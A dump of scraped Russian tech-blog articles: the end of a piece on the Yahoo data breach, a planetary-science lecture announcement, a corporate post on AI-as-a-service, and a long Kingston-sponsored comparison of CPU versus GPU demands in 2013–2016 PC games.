Похоже, доля правды тут есть. С другой стороны, некоторые эксперты предполагают, что данные пользователей были похищены через «дыру», созданную в свое время для АНБ. И повторяющиеся взломы, где используются одни и те же приемы похищения данных, не могут не привлекать к себе внимание. Есть ли здесь какая-то связь или же это просто «теория заговора» — судить не нам, выводы можно будет сделать только после тщательного анализа ситуации Yahoo и Verizon. | https://geektimes.ru/post/283768/ |
habrahabr | Лекция «Планеты, которые нас обманули» | ['космонавтика', 'Марс', 'Венера', 'Меркурий', 'лпк'] |
Сто лет назад можно было быть уверенным в наличии жизни на других планетах Солнечной системы. Каналы на Марсе явно построила древняя и мудрая цивилизация, а под плотной атмосферой Венеры бегали... |
Сто лет назад можно было быть уверенным в наличии жизни на других планетах Солнечной системы. Каналы на Марсе явно построила древняя и мудрая цивилизация, а под плотной атмосферой Венеры бегали динозавры и доисторические женщины. Межпланетные зонды развеяли эти мечты, но стали давать уже свои, новые загадки. О том, как новые отправленные аппараты меняли наши представления о Марсе и Венере, моя новая лекция «Планеты, которые нас обманули»
Организационно эта лекция входит в серию о Солнечной системе. Первой была " Луна и лунные программы" , затем — " Холодные сокровища Дальнего Внеземелья" . Поэтому я почти вынужденно добавил Меркурий, но, наверное, при повторных чтениях лекции я его выкину.
В качестве дополнительных материалов рекомендую посмотреть упоминающийся в лекции фильм Клушанцева «Марс» 1968 года и фантастику «Планета бурь» его же.
Раньше я приглашал коллегу снимать лекции и получал готовый файл, который выкладывал без обработки. В комментариях иногда жаловались на звук, но, на мой взгляд, он был вполне приемлемым. Но теперь, спасибо увлечению моноколесами, я начал снимать и обрабатывать видео сам, поэтому приобрел экшн-камеру и микрофон-петличку. Теперь звук будет сильно лучше. У камеры нет разъема на внешний микрофон, поэтому звук пишется в программу-диктофон на смартфоне. Он же используется у меня для листания презентации.
Моя следующая лекция будет уже на следующей неделе — в пятницу, 23 декабря в 19 часов, в уфимском котокафе «Котейная» я хочу прочитать новую лекцию «Животные и космос» . Вход по тарифам котокафе (220 р за первый час + 2 р/мин с 61 минуты). | https://geektimes.ru/post/283762/ |
habrahabr | «Немного о платформах»: Будущее AIaaS | ['ит-град', 'AIaaS', 'CaaS'] | Каждые 10 лет появляется новая платформа (в прошлом выпуске по этой теме — наш пост про BaaS), которая меняет сферу компьютерных технологий. Уже сегодня крупнейшие игроки на рынке предлагают услугу... | Каждые 10 лет появляется новая платформа (в прошлом выпуске по этой теме — наш пост про BaaS ), которая меняет сферу компьютерных технологий. Уже сегодня крупнейшие игроки на рынке предлагают услугу CaaS (cognition as a service), или AIaaS.
Согласно данным опроса IBM ей предпочитают пользоваться 55% респондентов, работающих с ИИ. Кроме того, первые пользователи сервисов отмечают, что внедрение искусственного интеллекта в облачные платформы является необходимым элементом их бизнес-стратегии. / Flickr / JD Hancock / CC Ситуация на рынке облачно-интеллектуальных услуг
Сегодня к ряду преимуществ, которые получают компании при переходе на облачные платформы, можно смело добавить возможность работы с сервисами искусственного интеллекта. Например, в облачные сервисы Amazon позволяют обучать модели ИИ на используемых данных для предсказания спроса и поведения клиентов в определенных ситуациях.
О развитии этого направления можно судить и по кадровым решениям лидеров рынка. Так, в команду Google по облачным вычислениям в ноябре перешла Фей Фей Ли (Fei Fei Li), директор лаборатории искусственного интеллекта из Стэнфордского университета. Задачей команды будет не проведение исследований, а внедрение искусственного интеллекта в продукты Google, чтобы клиенты могли использовать ПО, например, для прогнозирования продаж.
Но не только корпорации занимаются этими перспективными технологиями. Например, компания StackStorm представила свое решение по интеграции разработки и эксплуатации программного обеспечения для IaaS. Генеральный директор StackStorm Эван Пауэл (Evan Powell) поясняет, что крупнейшие операторы облачных сервисов примерно в 10-100 раз производительнее любого среднестатистического облачного провайдера благодаря внутренним сервисам автоматизации.
StackStorm позволит вывести автоматизацию на более широкий рынок, а благодаря интегрированному машинному обучению технические средства автоматизации будут быстрее реагировать на растущие потребности инфраструктуры. Кстати, сооснователем стартапа является наш соотечественник, Дмитрий Зимин, который до этого работал в VMware.
Существуют и другие компании: некоторые, вроде DataRobot, развиваются как стартапы, предлагая ПО для создания предсказательных моделей на основе машинного обучения и облачных вычислений. А 2-х летняя компания Nervana Solutions в августе была выкуплена Intel. Стартап тоже предлагает облачную платформу для глубокого обучения, которая рассчитана на создание решений в разных сферах бизнеса и исследований. Взгляд в будущее
Если говорить об уже существующих планах в этой сфере, то в 2017 Япония планирует построить суперкомпьютер, производительностью 130 петафлопс. Проект ABCI (AI Bridging Cloud Infrastructure) направлен в том числе на глубокое обучение нейронных сетей. Доступ для компаний будет бесплатный, что должно способствовать активной разработке.
Многие эксперты согласны, что облачные провайдеры и IT-компании продолжат двигаться в сторону ИИ-ориентированных сервисов и проектов. Но как именно будет выстроена эта система — пока не совсем ясно. Хесус Родригес (Jesus Rodriguez), инвестор, консультант в области стартапов и основатель компании по разработке ПО Tellago, предсказывает несколько возможных вариантов развития событий. Например, он уверен, что облачные платформы будут поддерживать самые популярные фреймворки глубокого обучения, в том числе TensorFlow, Caffe, Theano, Torch и другие, также, как сегодня они поддерживают реализацию веб-приложений или фоновых процессов.
Председатель совета директоров компании Alphabet Эрик Шмидт (Eric Schmidt) поделился своим видением развития индустрии на «облачной» конференции Google в Сан-Франциско: он уверен, что в ближайшие пять лет в основе принятия большей части бизнес-решений будут задействовано машинное обучение на облачной платформе. ИИ как сервис может дать качественно новые возможности для обработки больших данных и, несомненно, принесет еще много сюрпризов, как это было с развитием мобильной платформы.
Сервисы такого типа, возможно, будут приносить основной доход крупным корпорациям (см. пункт «The New Cloud»). И именно поэтому они активно включаются в гонку по разработке решений, которые позволят задействовать возможности систем ИИ. Стартапов в этой области появляется все больше, поэтому облачные услуги, обеспечивающие достаточные мощности, будут все более востребованы.
Бум в развитии будет возможен особенно благодаря существенной экономии. С этим согласны и в IDC, аналитической компании в области IT. (См. пункт «Cognitive Computing Capabilities» в источнике ). По их прогнозам, облачная инфраструктура демократизирует внедрение систем ИИ.
Какие еще темы мы рассматриваем в блоге ИТ-ГРАД на Хабре: Система Hyperwall от НАСА теперь использует СХД vFlash
IaaS-дайджест: Знакомство с виртуальной инфраструктурой
«В чем выгода»: Технико-экономическое обоснование использования IaaS
«SAP HANA в облаке VMware»: Расчет необходимых ресурсов
«Вопросы планирования»: Облачный ERP-хостинг
Как облачные технологии меняют мир спорта
IaaS и GaaS: «Облачное» будущее видеоигр
| https://habrahabr.ru/company/it-grad/blog/316286/ |
habrahabr | Кто виноват в медлительности игр на ПК — процессоры или видеокарты? Определяем «крайнего» на примере современных игр | ['kingston', 'игры', 'игровой компьютер', 'комплектующие'] |
Здравствуй, %username%! Вряд ли кого-то удивишь тем, что игры сегодня штампуют конвейерным образом, а геймерский ПК ассоциируется просто с ворохом дорогого железа. Сорить деньгами в кризис нет... | Здравствуй, %username%! Вряд ли кого-то удивишь тем, что игры сегодня штампуют конвейерным образом, а геймерский ПК ассоциируется просто с ворохом дорогого железа. Сорить деньгами в кризис нет желания, но ведь играть-то хочется! Сегодня мы выясним, для каких игр важнее мощный процессор, а какие, напротив, делают ставку на производительность видеокарты. А заодно определимся с портретом оптимального игрового ПК на рубеже 2016-2017 гг.
В удивительное время живём, товарищи! С одной стороны, компьютеры уже давно не развиваются взрывными темпами — с эволюцией процессоров в последние годы происходит форменное позорище, а немалая часть видеокарт просто меняет шильдики год от года, пока не подоспеет новый техпроцесс. Но стоит начать рассуждать об оптимизации софта или игр и рассматривать частности, как общественность тут же возмутится и намекнет, мол «вы, батенька, перестаньте ловить блох и купите себе наконец нормальное железо». А если у вас нет денег на нормальное железо — купите консоль, в которой нет нужды подбирать комплектующие для игр.
И ведь они частично правы — в консолях не нужно ломать голову над комплектацией. Взамен, в зависимости от выбранной системы будет отличаться и набор игр — эксклюзивов, как сейчас говорят. А что, если подойти в составлении конфигурации ПК от обратного, и выбирать железо с оглядкой на требования к процессору или графике той у различных игр? Будут ли игры на одном и том же движке одинаково хорошо работать на фиксированной конфигурации? Сегодня мы попытаемся разобраться в этих вопросах. «Поздно пить Боржоми» — каким компьютерам уже не быть игровыми
Нам придётся снова ударить по синдрому «как быстро летит время», но давайте будем соблюдать некоторые условности. Для кого-то ПК, способный запускать игры в flash player, тоже своего рода игровой, а вот мы под игровым компьютером подразумеваем машину с: Full HD-монитором
Способную выдать свыше 30 fps в синглплеере и свыше 50 fps в мультиплеере
Пригодную к высоким или максимальным настройкам детализации в современных играх
А современные игры — это хотя бы тайтлы 2013 года выпуска и позднее. То, что в наших умах 2007-2010 год был совсем недавно — исключительно наша иллюзия. Потому как дети, которые родились в 2010, страшно подумать, уже подросли и стали новой кастой геймеров. Это значит, ностальгию и отговорки «всё равно раньше игры были лучше» лучше не применять в дискуссии о современных игромашина». Вечно молодо-о-ой, вечно пьяный!
Из этих тезисов проистекает некоторый порог минимально приемлемого железа для игр — двухъядерный чип с Hyper Threading (максимум 4-летней давности) или младшие четырёхъядерники, когда речь идёт о процессорах, а также трёх-четырёхлетние видеокарты уровнем выше, чем middle-end. Менее производительное железо перешло из категории игрового в «мне и так сгодится, я играю не в графику, а в геймплей!» или для free-to-play игр, в которых донатоугодность важнее визуальных технологий. Эмуляторы консолей — нужно больше CPU
Для высокой производительности игр в эмуляторах консолей для ПК понадобится быстрый CPU, потому что моделирование работы новейших консолей чаще всего происходит в медленном режиме интерпретации. Таким образом, например, работает единственный жизнеспособный эмулятор Sony PlayStation 3. Эмулятор PlayStation 3 (Rpcs3) на Intel Core i7-4790K, NVIDIA GeForce GTX 970, 16 Gb RAM Kingston DDR3
В эмуляторах сравнительно немолодых консолей с появлением плагинов Direct3D появляется возможность рассчитывать графическую составляющую на видеокарте, хотя требования к видеоускорителю при этом всё равно остаются смешными по современным меркам — для того, чтобы обработать (и даже улучшить с помощью сглаживания) картинку с консолей начала двухтысячных, хватит даже старой видеокарты среднего класса — AMD Radeon HD 7850, к примеру. Кто важнее в современных играх: процессор или видеокарта?
Сегодня мы не охватим все объекты поклонения геймеров (текст и без того будет обширным), однако взглянем на современные игры (2013-2016 гг.) чтобы определить, в каких из них важнее скорость процессора, в каких — видеокарты, и как менялось такое соотношение (если менялось) с течением времени. Шутеры
Мы берём в расчёт игры 2013 года выпуска и моложе, потому что с высоты декабря 2016-гоа этот период видится золотой серединой для начинающего геймера — игры неплохо идут на современном железе, при этом ещё не выглядят артефактом далёкого прошлого. Впрочем, уже в те упоительные докризисные времена водились тайтлы, способные выжать все соки из компьютерного железа. Metro: Last Light
Младший брат Metro 2033, сын бывших разработчиков игр S.T.A.L.K.E.R, симулятор пост-апокалипсиса в наших широтах и просто очень прожорливая игра. Фирменный движок 4A родился из переработанного на корню «сталкеровского» X-Ray. Тесселяция, множество разрушаемых объектов, и высокая детализация сделали эту игру по-настоящему требовательной к начинке компьютеров 2013 года. И одной из самых беспощадных к CPU — Метро «съест» столько ядер и гигагерц, сколько ей выдадут. Metro: Last Light (2013 г.)
Следующую игру в серии издательство Deep Silver планирует выпустить «после 2017 года», но уже сейчас можно предположить, что фамильные ценности разработчиков сохранятся и Metro по-прежнему будет экстремально тяжкой для процессоров дисциплиной.
В современных реалиях для комфортной игры на максимальной детализации понадобится как минимум высокочастотный процессор Intel Core i5 и видеокарта GeForce GTX 680/770 либо Radeon R9 280X/380/380X. Недурно, но это вряд ли комплимент. Общий принцип: Одинаково важны и процессор, и видеокарта. Battlefield 4/Battlefield 1
Если раньше игровая серия Battlefield не использовала Frostbite Engine, то теперь игровой движок «всея Electronic Arts» ассоциируется именно с экшном производства DICE. Когда в 2011 году вышел нашумевший Battlefield 3, живой бенчмарк да с хорошим геймплеем, в народе закрепилось представление, что «батла — это прожорливая игра для топовых компьютеров». Но с тех пор Frostbite обновился со второй версии на третью, а железо шагнуло далеко вперёд.
Поэтому новый Battlefield о Первой мировой войне угодил «и вашим, и нашим» — на ультра-детализации игра выдаёт свыше 30 fps даже в паре с неподходящими для большинства современных игр видеокартами GeForce GTX 950/Radeon RX 460. Battlefield 4 настолько же лоялен к видеоускорителю, но при этом ещё и «играбелен» на двухъядерных процессорах. С «первым» батлфилдом такие фокусы удаются хуже. Battlefield 1 (2016 г.)
Да только игра тоннами потребляет оперативную память — на максимальной детализации ей одной нужно 8 гигабайт. Так что есть смысл хватать модули HyperX DDR3/DDR4 для своих игровых компьютеров, чтобы не нащупывать границу, за которой в игре начинаются «лаги». Общий принцип: Процессор важнее видеокарты. В DirectX 12 приемлемый уровень fps обеспечивают даже очень старые видеоускорители. Что изменилось? Новая часть Battlefield нагружает процессор сильнее предшественницы, расходует больше видеопамяти и ОЗУ, но всё же чуть лучше оптимизирована для слабых GPU. Приключенческие боевики от третьего лица Batman Arkham Origins/Arkham Knight
Нуарный экшн с «тёмным рыцарем» угодил геймерам и сюжетом, и геймплеем, и графической составляющей. В Arkham Origins оптимизация оказалась приемлемой — даже на бюджетных процессорах Intel Pentium частота кадров оставалась пригодной для одиночного прохождения. Правда, «играбельной» игра была разве что на новейших по тем временам видеокартах Radeon HD 7770/GeForce GTX 650 и выше — бывшие флагманы AMD «шеститысячной» серии, к примеру, позорились и демонстрировали слишком низкий fps в разрешении Full HD.
А вот последующая игра Batman: Arkham Knight войдёт в историю как пример бездарного порта с консолей на ПК. Настолько бездарного, что игру даже пришлось отозвать для исправления критических недоработок. До этого времени предположения, что немолодой Unreal Engine 3.5 способен поставить на колени производительные компьютеры, казались шуткой. Batman: Arkham Knight (2015 г.)
В итоге исправленная версия игры вышла на ПК спустя месяцы после дебюта на консолях, стала стабильнее, но не избавилась от прожорливости — на высокой детализации графики в Full HD игра расходовала свыше 3 Гбайт видеопамяти и требовала видеокарту уровня Radeon HD 7970 или GeForce GTX 780. При этом запросы в отношении процессора остались умеренными — даже двухъядерных Intel оказалось достаточно для того, чтобы количество кадров в секунду не опускалось ниже 40 fps. Общий принцип: видеокарта важнее процессора. Высокая детализация даже в Full HD покоряется только по-настоящему производительным видеоускорителям. Что изменилось? В новой части игры в момент выхода вместо «бюджетных новых» видеокарт минимально приемлемый fps стали демонстрировать чуть устаревшие флагманы. Tomb Raider/Rise of the Tomb Raider
Это сегодня переиздание игры о Ларе Крофт выглядит несерьёзно с технологической точки зрения — на максимальной детализации Tomb Raider 2013 осиливает даже устаревший и дешёвый видеоускоритель GeForce GTX 950M родом из ноутбуков. Но четыре года назад, в 2013 году движок Crystal Engine в разрешении Full HD стал непосильной задачей для всех GPU бюджетного класса. А с технологией AMD TressFX, которая делает волосы главной героини мягкими и шелковистыми, «сдулись» почти все видеоускорители, за исключением флагманских.
Да и потребление видеопамяти в 1080p упиралось во внушительные по тем временам 2 Гбайт.
Но ведь и процессоры игра тоже не щадила. Более того — комфортная частота кадров в первых версиях игры была возможна только на четырёхъядерных процессорах. Неслыханная для 2013 года наглость! В поздних патчах игру сделали менее требовательной к CPU и исследовать гробницы с Core i3 или старшими Pentium стало посильной задачей. Tomb Raider (2013 г.)
Движок Foundation Engine в Rise of the Tomb Raider примерно таким же образом надругался над видеоускорителями 2015 года. Потребление видеопамяти в DirectX 11 выпрыгнуло за пределы 3 Гбайт, пригодную для игры в Full HD частоту кадров выдали только самые новые видеокарты чуть старше класса middle-end. А режим DirectX 12 «обрадовал» геймеров утечками памяти, в результате чего игра уплетала все 6 Гбайт VRAM во флагманских видеоускорителях 2015 года выпуска!
Причём DX12 не принёс облегчения и процессорам — если в DirectX 11 четырёхъядерные бюджетники AMD и двухъядерные Core i3 чувствовали себя комфортно, то с активацией нового API недорогие модели выбывали из состязания, а пригодный для игры fps демонстрировали только чудом выстоявшие «Hyper Threading — наше всё» Core i3 и гораздо более дорогие процессоры «синего» и «красного» лагерей. Общий принцип: видеокарта важнее процессора. Видеопамяти много не бывает. Что изменилось? Вместо «хоть каких-нибудь» четырёх ядер игра стала требовать производительные CPU или хотя бы высокочастотные Core i3. DirectX 12 незначительно улучшил качество картинки и резко ухудшил производительность процессоров и видеокарт в RoTR. Автогонки Need for Speed: Rivals / Need for Speed (2015)
Банально? Ещё как! Но всё же NFS — это такой удобный конвейер, по которому удобно ориентироваться в тенденциях игр гоночного жанра.
NFS Rivals стала первой игрой серии на «батлфилдовском» движке Frostbite 3, только, мягко говоря, со своей интерпретацией. Разработчики установили ограничение на частоту кадров в количестве 30 fps — то ли для пущей «кинематографичности» картинки, то ли в попытках отучить ПК-игроков уделять внимание графическим настройкам. Ни сглаживания, ни плавной картинки, ни поддержки SLI — студия Ghost Games явно неуютно чувствовала себя в работе с новым движком.
В итоге «сверхсовременная» в графическом плане Need for Speed комфортно работала на видеокартах среднего класса и… всё, мы упираемся в 30 кадров в секунду. Но энтузиасты нашли способ обойти ограничение, поэтому соревнование закончилось на субфлагманских видеокартах, которым покорилась планка в 60 fps. Довольно мило, тем более что и потребление видеопамяти в игре недалеко ушло от привычного уже тогда 1 Гбайт. Need for Speed (2015)
А вот с требованиями к процессору дела обстояли иначе (хотя казалось бы — гоночки, зачем им мощный CPU?), потому что с разлоченной до 60 fps частотой кадров двухъядерные чипы переставали справляться с нагрузкой и для комфортной игры уже были нужны, по меньшей мере, высокочастотные AMD FX-6100 либо Intel Core i3. Примерно так же обстояла ситуация и в Battlefield 4, который вышел на том же движке. Другое дело, что для динамичного шутера «пограничные» 30 fps — слишком малая величина.
Портированная на ПК с запозданием Need for Speed 2015 года выпуска наконец сняла вопросы «зачем нужен Frostbite в гоночных играх?». Потому что красиво, очень красиво! С доработанным по полной программе движком игра стала кушать аж 3 Гбайт видеопамяти памяти, но не изменилась в своей сути — для комфортной игры хватает видеокарты среднего класса (GeForce GTX 960/Radeon R9 280X), а из процессоров «вывозит» либо Core i3, либо четырёхъядерник AMD с высокой тактовой частотой. Такие требования к процессору, кстати, сделали новый NFS «неиграбельным» на огромном количестве ноутбуков. Но ничего не поделаешь: Frostbite — он и вне батлфилда Frostbite. Общий принцип: процессор важнее видеокарты. Уровни графической детализации едва различимы «на глаз». Что изменилось? Потребление памяти выросло, но статус-кво («кушаю чуть меньше памяти, чем в мейнстримных видеокартах») не изменился. Требования к процессору с доработкой движка и разблокированной частотой кадров немного выросли. Project CARS
Конечно, сравнить творения прославившихся оптимизацией игр за авторством Codemasters (GRID 2/DiRT Rally) было бы интересно, но различия в таких играх сводятся всего лишь к нюансам — один и тот же движок, чуть более лояльные требования к системе у игры 2013 года. Впрочем, это ещё как посмотреть — в 2013-м для игры без просадок частоты кадров нужна была видеокарта уровня Radeon HD 7850, которая была средним классом. А среди процессоров игра с благодарностью отдавала предпочтение четырёхъядерникам, хотя и сохраняла приемлемый fps на двухъядерных CPU. В 2015 году аналогичные системные требования означают, что DiRT «летает» даже на бюджетных игровых компьютерах. Project CARS (2015 г.)
С Project CARS ситуация обстоит иначе, потому что игра, на разработку которой собирали средства «всем миром», стала одним из самых красивых и требовательных автосимуляторов современности. А ведь её движок вырос из старых частей Need for Speed — например, Shift Unleashed 2011 года выпуска!
Графических настроек — тьма, причём возможности вручную выбрать «высокие» или «максимальные» пресеты нет. С набитым битком пелетоном соперников, непогодой на трассе и предельно высокой детализацией графики Project CARS выглядит, как документальный фильм об автогонках, а такая красота требует жертв. Много дорогостоящих GPU’шных жертв — что-то между GeForce GTX 770 или Radeon R9 280X. То есть, АВТОМОБИЛИ требуют видеокарт чуть выше среднего уровня на момент выхода игры. С процессорами игра тоже не церемонится — Core i3 как минимальный «входной билет» и предпочтение четырёхъядерникам с высокой частотой. Общий принцип: видеокарта важнее процессора для высокой производительности. Игры-«песочницы» с открытым миром
Утрированное название, но вы ведь поняли, какие игры мы имеем в виду? Те самые, в которых разработчики кичатся симуляцией жизни случайных персонажей на улицах. Игры, в которых бесшовный мир облеплен второстепенными заданиями при развернутой сюжетной линии. Гигантские декорации и масштабная, скажем так, драматургия. Assassin’s Creed IV/Assassin’s Creed Syndicate
Когда Far Cry 3 уже устарел, а Watch Dogs ещё не появился, Assassin’s Creed был одной из главных игр Ubisoft в открытом мире. К 2013 году главные герои, правда, стали странными (индейцы и пираты — тоже немного ассассины, хотя к исмаилитам отношения не имели), но это нормально — команда героев фильма «Форсаж» тоже перешла от уличных гонок к эффективному предпринимательству.
Игровой движок Anvi уже в те годы был чем-то сродни постоянно обрастающего «рюшечками» скелета Call of Duty, но это абсолютно не мешало игре быть одной из самых прожорливых в отношении железа среди всех тайтлов, что вышли в 2013 году. Radeon HD 7970 и GeForce GTX 770 как входной билет для игры в Full HD с высоким качеством — это так себе оптимизация, нужно сказать. А из процессоров игра предпочитала четырёхъядерники да с частотой повыше. При этом больше четырёх потоков в процессоре чудным образом тянули результаты CPU вниз, поэтому самыми быстрыми чипами в Assassin’s Creed IV оказались Intel Core i5. Всё, кроме объёма видеопамяти, в компьютере должно было быть «дорого-богато», чтобы игра могла работать должным образом. Assassin’s Creed Syndicate (2015 г.)
Однако продолжалось такое веселье недолго — в Assassin’s Creed Syndicate разработчикам пришлось всерьёз заняться оптимизацией, потому что предыдущий AC: Unity как раз-таки стал мемом с запредельными системными требованиями при большом количестве багов.
В итоге игра начала потреблять 3 Гбайт видеопамяти уже в и требовала, стыдно сказать, GeForce GTX 960 в качестве минимально приемлемого варианта для «очень высоких в 1080p). Зато она стала гораздо лояльнее к процессорам — даже дешёвые Intel Pentium справлялись с нагрузкой великолепно. Общий принцип: видеокарта важнее процессора. Хочешь играть хорошо — покупай видеокарты уровня «выше среднего». Что изменилось? Разработчики оптимизировали игру на более эффективное использование GPU и разгрузили, таким образом, процессор. Grand Theft Auto V
Чтобы понять, почему GTA 5 при всей своей помпезности оказалась хорошо оптимизирована, достаточно взглянуть на былинный порт со старых консолей, то есть эпичный дебют четвёртой части серии на ПК в 2008 году. Более бездарной игры по требованиям к процессору было просто не сыскать — вам был необходим «всего лишь» Intel Core Quad (который был дорог, как Core i7 сегодня) для того, чтобы бездарный порт с консоли ворочался с более-менее приемлемым fps. Миллионы геймеров по всему миру посылали проклятья в адрес Rockstar за такую оптимизацию игры. Grand Theft Auto 5 (2015 г.)
GTA 5 вышла на ПК спустя почти пару лет после дебюта на консолях старого поколения, то бишь, времени на качественный порт у разработчиков было предостаточно. Движок Rockstar Advanced Game Engine к тому времени был «вылизан» для актуального железа, поэтому игра, хоть и потребляла неприлично много видеопамяти (свыше 2 Гбайт в Full HD), но без проблем ворочалась даже на бюджетных видеокартах, таких как GeForce GTX 750, например. С производительностью на двухъядерных процессорах GTA 5 тоже не испытывала никаких проблем. Возмутительная лёгкость бытия по меркам ПК-индустрии, не так ли? Общий принцип: низкие требования к комплектующим, высокие требования к объёму видеопамяти. При этом видеокарта важнее процессора — урок с прожорливостью GTA IV к CPU не прошёл для разработчиков даром. Стратегические игры
Подавляющее большинство стратегий либо мучают процессор без особых требований к видеокарте, либо огорчают оптимизацией настолько, что даже топовое железо не спасает ситуацию. К последним случаям следует отнести стратегии в реальном времени Total War (Rome II, например, который «насиловал» железо без особых на то графических причин) или недавний XCOM 2. Им подавай мощные четырёхъядерные процессоры да видеокарты среднего уровня (GTX 960, по меньшей мере) для комфортной игры в Full HD. Разработчики убеждают игроков, что это «багофича», общественность негодует.
Правда, подобная оптимизация становится скорее исключением из правил, а правила мы отследим по другим популярным тайтлам. Civilization Beyond Earth/Civilization VI
Пятая часть пошагового симулятора «перепиши историю на свой лад» вышла в далёком 2010 году и по тем временам была необычно требовательной по меркам стратегических игр — с удовольствием кушала свыше 512 Мбайт видеопамяти и предпочитала либо новые видеокарты среднего класса (GeForce GTS 450), либо старые флагманы (GeForce GTX 285) в разрешении Full HD. Процессорная производительность стала отдельной «болью в пятой точке» для любителей серии, ведь без четырёхъядерного CPU (или хорошего двухъядерника с четырьмя потоками) Цивилизация крепко задумывалась при смене ходов на поздних этапах игрового прогресса. Сейчас на это можно спросить «ну и что?», но в 2010 году с игрой плохо ладили даже «народные» высокочастотные Core 2 Duo и AMD Phenom X2. Civilization VI (2016 г.)
Зато вышедшая в 2014-м Beyond Earth, которая представляла собой пятую Civilization в новых декорациях, была удивительно легковесной игрой для современного железа. Даже дешёвый Radeon HD 7770 легко перешагивал границу в 30 fps, а большего для пошаговой игры было и не нужно. И бюджетные двухъядерные Intel Pentium на базе архитектуры Haswell легко осиливали нагрузку некогда прожорливой для десктопов игры.
В случае с Civilization VI смена поколений игры выглядит странно — графика явно не стала лучше, зато системные требования выросли под стать времени. Никого не оскорбляет необходимость заиметь «середнячка» GeForce GTX 950 для Full HD-разрешения, а вот почему нагрузка на процессор стала раза в 2 выше со времён Civilization 5 — загадка. В любом случае, на двухъядерниках Intel больше с комфортом не поиграешь — необходим процессор уровня хотя бы Core i3. Жор видеопамяти у новой игры, кстати, запредельный — до 4 Гбайт в Full HD, и это при мультяшном дизайне! Эволюция графики в Civilization V и VI
Зато поддержка DirectX 12 в Civ 5 стала не издевательством над железом, как в the Rise of Tomb Raider, а действительно полезным способом снизить нагрузку на процессор — до 10-15% прироста fps на совместимых с DirectX 12 конфигурациях. Общий принцип: процессор важнее видеокарты, хотя от GPU требуется много видеопамяти. Что изменилось? Нагрузка на CPU со сменой частей Civilization растёт быстрее, чем на графический адаптер, но поддержка DirectX 12 позволяет ощутимо «высвободить» процессор. StarCraft II: Legacy of the Void
По-настоящему популярные стратегии в реальном времени остаются «свежими» благодаря DLC/ремастерингу вопреки году выпуска оригинала. Таким образом устроены «Казаки 3», а вторая часть StarCraft родом из, страшно сказать, 2010 года, прошла аналогичный «Цивилизации» путь от требовательной к системе новинки до элементарной игры, которую можно запустить в Full HD даже на встроенной графике. Поэтому удовольствие от одной из лучших RTS стоит недорого — достаточно уже немолодой GeForce GTS 450 или Radeon HD 7750 чтобы ни в чём себе не отказывать в 1080p. StarCraft II: Legacy of the Void (2015 г.)
В случае с процессорами мы наблюдаем забавную по нынешним временам ситуацию, когда количество ядер не так важно, как производительность и частота каждого из них. В общем, Core i3 со свистом обходит восьмиядерные чипы AMD и почти равен старшим чипам Intel по частоте кадров. Общий принцип: процессор важнее видеокарты, нагрузка на GPU очень низкая. Что изменилось? Ничего! Игра по-прежнему живёт в прошлом и любит быстрые двухъядерные процессоры, не «раскачивая» новое железо должным образом. MMORPG, MOBA и free-to-play игры
Игры, в которых делается упор на массовость, остаются самыми дружелюбными к железу даже в 2016 году. Dota 2 без проблем работает на самой дешёвой видеокарте новых лет (Radeon HD 7750) и хоть каком-нибудь двухъядерном процессоре, World of Tanks довольствуется видеокартами класса «ниже среднего» (GeForce GTX 750 Ti) и процессорами чуть лучше бюджетных Intel Pentium новых лет. Аналогичным образом ведёт себя и онлайн-шутер Overwatch, поэтому для массовых онлайн и free-2-play игр сегодня будет достаточно даже самой бюджетной конфигурации. В массовых онлайн-играх системные требования отходят на второй план — игра должна запуститься и работать у любой мало-мальски платежеспособной аудитории А что с остальными комплектующими?
На процессоре и видеокарте в компьютере свет клином не сошёлся, но именно они представляют собой «фундамент» игрового компьютера. При выборе блока питания нужно глядеть на мощность (калькуляторов которой — не счесть ), коэффициент полезного действия и силу тока на отдельных линиях. В общем — это отдельный разговор со своими нюансами.
Для того, чтобы игры «просто нормально работали», достаточно бюджетной оперативной памяти Kingston ValueRAM, наборы с высокой частотой позволяют отыграть ещё немного fps «через не могу», а оверклокерская память безропотно выдерживает высокие нагрузки и по этой причине обрадует тех, кто глядит на частоту кадров не с позиций «мне и так сойдёт», с прицелом «можно сделать ещё быстрее». Экономным геймерам подойдёт недорогой Kingston UV400 в качестве системного диска. Для ускорения загрузки игр желательно обзавестись HyperX Savage
Твердотельный накопитель не влияет напрямую на количество кадров в секунду — он влияет на скорость загрузки уровней. Чем больше игровой мир — тем заметнее разница. Поэтому даже недорогой HyperX Fury поможет вам быстрее прибывать на поле боя в онлайн-играх или меньше разглядывать слайдшоу под музыку, пока компьютер приводит игру в боевой режим.
Чем круче накопитель — тем заметнее разница, пусть даже «на бумаге» несколько секунд кажутся мелочью. Сегодня мы многое поняли
Видишь новую игру авторства Electronic Arts — жди внутри движок Frostbite и высокие требования к процессору при скромных аппетитах в отношении видеокарты. Видишь игру про «сталкеров» — готовь флагманский видеоускоритель и CPU или терпи пониженную детализацию графики. Захотел побыть Бэтмэном — готовь производительную видеокарту, а приключения красивой Лары Крофт чреваты ещё и неуёмным расходом видеопамяти.
Любишь Battlefield — люби и Need for Speed (производительность-то одинаковая), но будь готов к тому, что для по-настоящему классной графики в гоночных играх понадобится не менее крутая видеокарта, чем для шутеров.
Старые «песочницы» Ubisoft — прожорливые во всём «песочницы» Ubisoft. В новых играх уже появляется возможность сэкономить на процессоре.
GTA уже давно перестала быть «кривым портом с консолей» — для неё достаточно среднестатистического компьютера с графическим ускорителем о трёх-четырёх гигабайтах видеопамяти. Стратегии на ПК — вещь непредсказуемая: часть из них конструируется бездарными студиями, поэтому игры «тормозят» на любых комплектующих, часть представляет собой переделку старых игр, для которых мощное железо не нужно.
И только массовые онлайн-игры (особенно pay-to-win) примут ПК-игрока в распростертые объятия с железом почти любого уровня. Но все эти выводы не отвечают на главный вопрос: Как собрать дешёвый и качественный компьютер для игр?
Ситуация с системными требованиями игр не становится легче, а комплектующие в условиях «доллара по 64 рубля» не становятся привлекательнее для покупки, но если вы не знаете, какой компьютер купить для игр в высоком качестве при разрешении Full HD, вот вам советы: Из видеокарт стоит предпочесть NVIDIA GeForce GTX 1060 с 6 Гбайт видеопамяти. Один из самых дешёвых способов порезвиться в новейших играх при высокой детализации графики.
Если вы не знаете, что купить из процессоров — покупайте Core i5. В данном случае — Core i5-7400 или 7500 (Intel Kaby Lake). «Холодный», не сверхдорогой, уравновешенный процессор для любых «попсовых» игр. Ликвидный на вторичном рынке, если в вас зародится максимализм и появится желание апгрейдиться до Core i7.
